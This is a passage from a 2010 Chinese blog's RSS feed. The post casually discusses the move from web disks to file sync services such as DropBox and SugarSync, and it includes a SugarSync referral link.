DropBox。SugarSync功能强大，定制性非常强，它的官网上有其和同类软件的比较。而DropBox是属于“简约而不简单”类型的，有点苹果的风格，简洁而强大。 在DropBox获得了Game For Windows金牌认证以后，SugarSync很时宜地推出了官方中文版，以迎接被迫转换到其他平台的用户。同DropBox一样，SugarSync有2GB的免费账户和容量更大的收费账户。不过各位读者的福利来了，点击这里注册SugarSync的话，你会获得额外250MB的存储空间。SugarSync最方便的地方莫过于可以选择多个文件夹进行同步了（DropBox自0.8 beta版也开始支持）。PS: 最近写了一篇软文，让我心存愧疚，这篇可不是什么软文哈…… 再PS：最近Google Reader貌似出了点问题，乱抓以前的文章，给大家带来不便还请谅解哈！ 没有相关日志

<h3>没有相关日志</h3>]]></description>
			<content:encoded><![CDATA[<div><img width="537" height="280" src="http://dayanjia.com/wp-content/uploads/2010/06/tour_sugarsync.png" class="attachment-large wp-post-image" alt="tour_sugarsync" title="tour_sugarsync" /></div><p>如果你在不同的电脑上进行工作，需要随时同步一些重要文件，你会怎么办？如果你面对一台陌生的电脑，想用自己最熟悉的一套方法和工具处理事务，你该怎么办？如果你的电脑上有一些好东西想和亲朋好友分享，你又会怎么办？</p>
<p>或许最传统的方法是使用U盘来传递这些文件，以便随时使用。但是人难免有犯糊涂忘了U盘的时候，再说拿个U盘到处乱插也不是一件好事。于是我们自然而然想到了网络这个无所不在的载体。一般的工作文档往往文件不大，使用网络传输和U盘所花费的时间相差无几。于是所谓的“网络U盘”的概念自从Internet宽带普及以来就一直延续到现在，不过随着云计算的发展，“网络U盘”也正经历着翻天覆地的变化。</p>
<p><span id="more-704"></span></p>
<h2>早期传统网盘</h2>
<p><a rel="attachment wp-att-711" href="http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html/freefileredtoreall"><img class="alignleft size-medium wp-image-711" title="web file sharing services" src="http://dayanjia.com/wp-content/uploads/2010/06/freefileredtoreall-300x151.jpg" alt="" width="300" height="151" /></a>早期传统网盘大多提供了两种存储空间，一种容量很小，但是可以永久保存自己的私人文件，另一种容量较大，可以和他人分享文件，但是会定期删除。<span style="color: #3366ff;">事实上，前面一种服务已经几乎没有人使用了。如今这种网页上的“网盘”服务大多数成为了各类资源的集散地。</span>人们利用这些平台来发布资源，让这些网站承担下载带来的巨大流量。同时，难以生存的网盘网站不停地在网页上堆砌广告，推出付费获取所谓“更快速度”的下载服务（基本上国外的都有），甚至必须采取专用的软件才能下载文件（国内服务用的较多）。同时，人们通过这些服务分享盗版资源也让提供商头疼，国外老牌的<a href="http://www.rapidshare.net/" target="_blank">Rapidshare</a>便因盗版压力不得不<a title="Rapidshare出于顾虑取消积分制度" href="http://internet.solidot.org/article.pl?sid=10/06/24/0926214&amp;amp;from=rss" target="_blank">取消了上传积分制度</a>。</p>
<p><span style="color: #3366ff;">虽然它们叫做“网络U盘”，但是和现实中的U盘差距实在是太明显了——没有人用它来同步自己的文件。</span>造成这种现象的一大原因便是基于B/S的网盘需要手动进行同步操作，过于繁琐。</p>
<h2>和系统集成才是王道</h2>
<p><a rel="attachment wp-att-715" href="http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html/tour_sync"><img class="alignright size-medium wp-image-715" title="tour_sync" src="http://dayanjia.com/wp-content/uploads/2010/06/tour_sync-300x224.png" alt="" width="300" height="224" /></a>“网络U盘”和文件同步的需求渐行渐远，专为用户同步文件设计的各类软件层出不穷，像SugarSync和Windows Live Sync都是比较著名的产品。用户通过在多台电脑上安装这些软件，便可以获得同步文件的功能。而SugarSync还将文件存储在它们的服务器上，以便没有安装软件时也可以访问到自己的文件。指定了需要同步的文件夹后，通过的过程完全是无需干预的，文件不知不觉就上传到了服务器上。</p>
<p><span style="color: #3366ff;">随着移动互联网的普及，越来越多的软件开始支持移动平台，用户可以在iPhone、BlackBerry、Android等移动终端上随时访问自己的文件。从这一点来看，文件同步早已超越了所谓“网络U盘”的范畴，成为了一项随时随地的便捷服务。</span>用户可能一开始会感到疑惑：“我真的需要它吗？”但是当人们真正开始使用后，他们会觉得：“这真是太棒了，我离不开它！”</p>
<h2>云存储时代来临</h2>
<p>2008年，两个MIT的毕业生折腾出了一款新的文件同步服务，他们给它取了一个形象的名字，叫做DropBox。用户把他们的东西丢到这个Box里面，可以在其他地方轻松地找到它。DropBox使用了Amazon的S3云存储服务，并吸收了软件工程中版本控制和增量备份的理念。<span style="color: #3366ff;">把文件的存储过程交给云计算，使得DropBox无需考虑各种涉及到文件存取的复杂技术问题，专心把重点放在服务质量上。</span>DropBox依靠着口碑营销获取了非常大的关注，如今已经是文件同步服务中的佼佼者，用户超过400万。</p>
<h2>你都同步些什么？安全性呢？</h2>
<p><a rel="attachment wp-att-716" href="http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html/attachment/12278600851227860467"><img class="alignleft size-medium wp-image-716" title="Dropbox" src="http://dayanjia.com/wp-content/uploads/2010/06/12278600851227860467-299x300.png" alt="" width="299" height="300" /></a>DropBox和系统高度集成，你几乎无需去理会它的存在，只需要知道“有一个神奇的文件夹”就可以了。你可以将完成了一半的工作文件放进去，你可以将一些自己用的顺手的绿色小软件放进去，你甚至还可以把电脑游戏存档同步进去以便在不同的电脑上持续地进行冒险……总之，一切你想要放在云里的东西你都可以放进去。</p>
<p>云计算有一个很棘手的问题便是安全性。诚然用户会担心自己的东西会不会被别人看到，会不会莫名其妙地丢失。<span style="color: #3366ff;">对于有这类特殊敏感需求的人，他们大可以放弃这些公开的云存储服务。我们可以搭建一台SVN服务器，使用SVN来同步自己的文件。</span>事实上，你会发现DropBox有很多地方借鉴了SVN，和Windows下的TortoiseSVN软件。</p>
<h2>SugarSync vs. DropBox</h2>
<p>上文中多处提到了两款软件，便是SugarSync 和 DropBox。SugarSync功能强大，定制性非常强，它的官网上有其<a title="See How SugarSync Stacks up to the Competition" href="https://www.sugarsync.com/sync_comparison.html" target="_blank">和同类软件的比较</a>。而DropBox是属于“简约而不简单”类型的，有点苹果的风格，简洁而强大。</p>
<p>在DropBox获得了<strong>G</strong><span style="color: #ccc;">ame</span> <strong>F</strong><span style="color: #ccc;">or</span> <strong>W</strong><span style="color: #ccc;">indows</span>金牌认证以后，SugarSync很时宜地推出了官方中文版，以迎接被迫转换到其他平台的用户。同DropBox一样，SugarSync有2GB的免费账户和容量更大的收费账户。<strong><span style="color: #003300;">不过各位读者的福利来了，</span></strong><a title="点击注册SugarSync并获得250MB额外空间" href="https://www.sugarsync.com/referral?rf=oh842ar4xbic" target="_blank">点击这里注册SugarSync的话</a><strong><span style="color: #003300;">，你会获得额外250MB的存储空间。</span></strong>SugarSync最方便的地方莫过于可以选择多个文件夹进行同步了（DropBox自0.8 beta版也开始支持）。PS: 最近写了一篇软文，让我心存愧疚，这篇可不是什么软文哈……</p>
<p><span style="text-decoration: underline;">再PS：最近Google Reader貌似出了点问题，乱抓以前的文章，给大家带来不便还请谅解哈！</span></p>


<h3>没有相关日志</h3>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: dayanjia.com @ 2012-02-05 22:35:55 by W3 Total Cache -->
